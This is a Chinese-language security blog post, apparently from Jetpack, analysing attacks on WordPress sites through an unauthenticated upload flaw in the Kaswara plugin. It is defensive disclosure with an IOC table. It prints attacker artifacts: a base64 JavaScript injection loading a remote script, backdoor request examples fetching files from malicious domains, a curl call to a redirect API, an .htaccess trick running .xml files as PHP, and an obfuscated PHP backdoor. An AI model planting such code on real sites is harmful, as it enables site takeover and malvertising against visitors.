易受攻击的 Kaswara 现代 WPBakery 页面生成器插件插件在野外被利用
已发表: 2021-06-08早在 2021 年 4 月 20 日,我们在 WPScan 的朋友报告了 Kaswara Modern VC Addons(也称为 Kaswara Modern WPBakery Page Builder Addons)的一个严重漏洞。 Codecanyon/Envato 不再提供此功能,这意味着如果您运行此功能,则必须选择替代方案。
此漏洞允许未经身份验证的用户将任意文件上传到插件的图标目录(./wp-content/uploads/kaswara/icons)。 这是我们在 WPScan 的朋友在他们的报告中与我们分享的第一个妥协指标 (IOC)。
将任意文件上传到网站的能力使不良行为者可以完全控制该网站,这使得很难定义这种感染的最终有效载荷; 因此,我们将向您展示到目前为止我们发现的所有内容(我们对研究有点忘乎所以,如果您不想通读,请随意跳到 IOC 部分)。
数据库注入、伪造的 Android 应用程序和其他后门
感谢我们来自 Sucuri 的朋友 Denis Sinegubko 指出了用于这次攻击的数据库注入后续操作。
不良行为者会更新“kaswara-customJS”选项以添加任意恶意 Javascript 代码片段。 这是我们发现的一个例子:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
这个 base64 编码的字符串转换为:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
就像这种类型的脚本通常发生的那样,它会链式加载一系列其他 Javascript 代码片段,最终的有效负载将是恶意广告或漏洞利用工具包。 这与 Wordfence 在这里报告的非常相似。
在这种情况下,脚本会在 hxxp://double-clickd[.]com/ 上死掉,并且不会加载任何不良内容。 我发现自 2020 年初以来调用此站点的可疑 Javascript 代码,自 2018 年以来人们已经阻止了它。
假应用程序上传到网站
在我们检查的网站上发现的 40 个 Android 应用程序是不同应用程序的假版本,例如支付宝、PayPal、Correos、DHL 和许多其他应用程序,幸运的是,根据这项 VirusTotal 分析,最流行的防病毒供应商检测到了这些应用程序。

我没有检查应用程序的意图,但快速查看它请求的权限可以让我们大致了解它可以做什么:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
不过,这些文件不会立即使用 Kaswara 漏洞上传。 网站被入侵后,攻击者将首先上传其他工具以完全控制该网站。
上传的文件
在受此漏洞影响的网站上还发现了一些后门和其他恶意软件。 我将在这篇文章中分享对最受欢迎和最有趣的内容的快速分析。 但是,我想首先关注最复杂的一个。
重定向和伪造应用程序
我在几个受感染网站上发现的虚假应用程序不是通过利用 Kaswara 漏洞上传的。 它们正在使用多功能黑客工具上传到该站点,该工具允许攻击者上传一些远程代码(通过提供 URL 或字符串),并将用户重定向到恶意站点。
通过此字符串的存在可以轻松识别该文件: base64_decode('MTIz');error_reporting(0);
功能
有趣的是,它随机化了除此之外的所有内容。
该恶意软件位于一行中,如果您正在寻找这种类型的代码异常,这也是一个有趣的 IOC。

为了便于理解,我对大部分代码进行了解码,对有趣的函数进行了重命名,并对代码进行了美化。 该恶意软件包含 6 个不同的函数,其中 5 个基于$_GET['ts']
变量上传递的值。 对于本文档,让我们考虑一下我发现的众多实例之一: c.php
。

/c.php?ts=kt
这没有任何作用,它会强制网站返回 500 错误(稍后在代码中)。
/c.php?ts=1
将$q1a
标志值更改为 true 以执行代码验证并向攻击者输出 OK 消息。
在这种情况下,远程站点回答: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”代码”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
只要$_GET["p"]
的 SHA1 校验和为123 ,就使用$_GET["v"]
的内容提供的代码在服务器上写入文件(还记得base64_decode('MTIz')
第一个 IOC 吗?这个是校验和)。

/c.php?ts=tt
在服务器上写入 5 MB 的“-”,可能用于测试上传功能是否可以在服务器上工作。

/c.php?ts=dwm&h=HASH1,HASH2
当恶意软件收到此请求时,它会执行测试以验证上传的文件是否已成功写入服务器。 它们的 MD5 哈希值必须是已知的,并以逗号分隔值的形式发送到$_GET['h']
变量。

/c.php?ts=dw&h=hash&l=URLs_as_CSV
从一系列第三方网站下载文件并将其保存在服务器上,以下载文件的 md5 的最后 12 个字符命名。
这是用于将虚假应用程序上传到服务器的功能。
下面是下载恶意文件的请求示例/c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

重定向访问
如果选择了kt
选项或未选择选项,则代码继续进行重定向,这是通过请求带有所需数据的 JSON blob 来实现的。 然后它继续使用标头函数重定向访问者。

响应如下: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
使用所需参数执行 cURL 请求的函数是这样的:没什么特别的……
它可以翻译成这个 cURL 请求:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
据我测试,最终 URL 是随机的,但与流行服务或应用程序的虚假页面具有相同的特征。

wp-content/uploads/kaswara/icons/16/javas.xml 和 wp-content/uploads/kaswara/icons/16/.htaccess
XML 文件通常不会被标记为潜在威胁,但在这种情况下,我们有一个特制的 .htaccess 文件,它会改变网络服务器对它的看法:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
事实上,它告诉 Apache 将任何带有 xml、php 或 pdf 的 javas、homes 或 menus 文件作为 PHP 文件进行相应处理和执行。 因此,与此 .htaccess 位于同一目录结构中的任何文件都是可疑的。
javas.xml 文件与上传到该站点的其他一些恶意文件相同。 我发现不同之处在于有些文件末尾有一两个空行,这使得传统的散列有点棘手。
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
恶意代码使用 str_rot13 和 base64 编码字符串进行模糊处理。 它还使用十六进制值和数学运算来更多地隐藏字符串。 最终的有效负载是未知的,因为它将根据 POST 请求的值创建一个函数。 但是,有效负载似乎每次都相同,因为它在创建之前依赖于 md5 检查(c42ea979ed982c02632430e9e98a66d6 是 md5 哈希)。

结论
由于这是一个活跃的活动,在撰写本文时,我们发现越来越多不同的恶意软件示例被丢弃在受影响的站点中。 有些只是我们这里的变体,而另一些则足够有趣,可以进行更深入的分析。 寻找即将发布的一些较小的帖子,以探索其中一些其他示例。
这说明了使用最新的安全修复程序更新您的扩展程序的重要性; 如果开发人员没有及时发布修复程序或者它从 WordPress.org 存储库(或其他市场)中删除,我们强烈建议您找到更安全的替代方案。
如果您担心网站的恶意软件和漏洞,请查看 Jetpack 的安全功能。 Jetpack Security 提供易于使用、全面的 WordPress 站点安全性,包括备份、恶意软件扫描和垃圾邮件防护。
妥协指标
在这里您可以找到我们确定的所有 IOC 的完整列表:
哈希 (SHA-1) | 小路 | 威胁描述 |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | 假安卓应用 |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | 假安卓应用 |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | 假安卓应用 |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | 假安卓应用 |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | 假安卓应用 |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | 假安卓应用 |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | 假安卓应用 |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | 假安卓应用 |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | 假安卓应用 |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | 假安卓应用 |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | 假安卓应用 |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | 假安卓应用 |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | 假安卓应用 |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | 假安卓应用 |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | 假安卓应用 |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | 假安卓应用 |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | 假安卓应用 |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | 假安卓应用 |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | 假安卓应用 |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | 假安卓应用 |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | 假安卓应用 |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | 假安卓应用 |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | 假安卓应用 |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | 假安卓应用 |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | 假安卓应用 |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | 假安卓应用 |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | 假安卓应用 |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | 假安卓应用 |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | 假安卓应用 |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | 假安卓应用 |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | 假安卓应用 |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | 假安卓应用 |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | 假安卓应用 |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | 假安卓应用 |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | 假安卓应用 |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | 假安卓应用 |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | 假安卓应用 |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | 假安卓应用 |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | 假安卓应用 |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | 假安卓应用 |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | 丢弃的恶意软件 |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | 丢弃的恶意软件 |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | PHP文件上传器 |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | 丢弃的恶意软件 |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | 远程代码执行恶意软件 |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | 丢弃的恶意软件 |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | 丢弃的恶意软件 |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | 丢弃的恶意软件 |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | 丢弃的恶意软件 |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | 丢弃的恶意软件 |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | 丢弃的恶意软件 |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | 丢弃的恶意软件 |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | 丢弃的恶意软件 |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | 远程代码执行恶意软件 |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | 丢弃的恶意软件 |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php 或 ./wp-content/uploads/xeh02b.php | 丢弃的恶意软件 |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | 丢弃的恶意软件 |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | 远程代码执行恶意软件 |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | 丢弃的恶意软件 |
wp-content/uploads/kaswara/icons/16/javas.xml | 远程代码执行恶意软件 | |
– | smurfetta.ru | 恶意域名 |
http://papass.ru | 恶意域名 |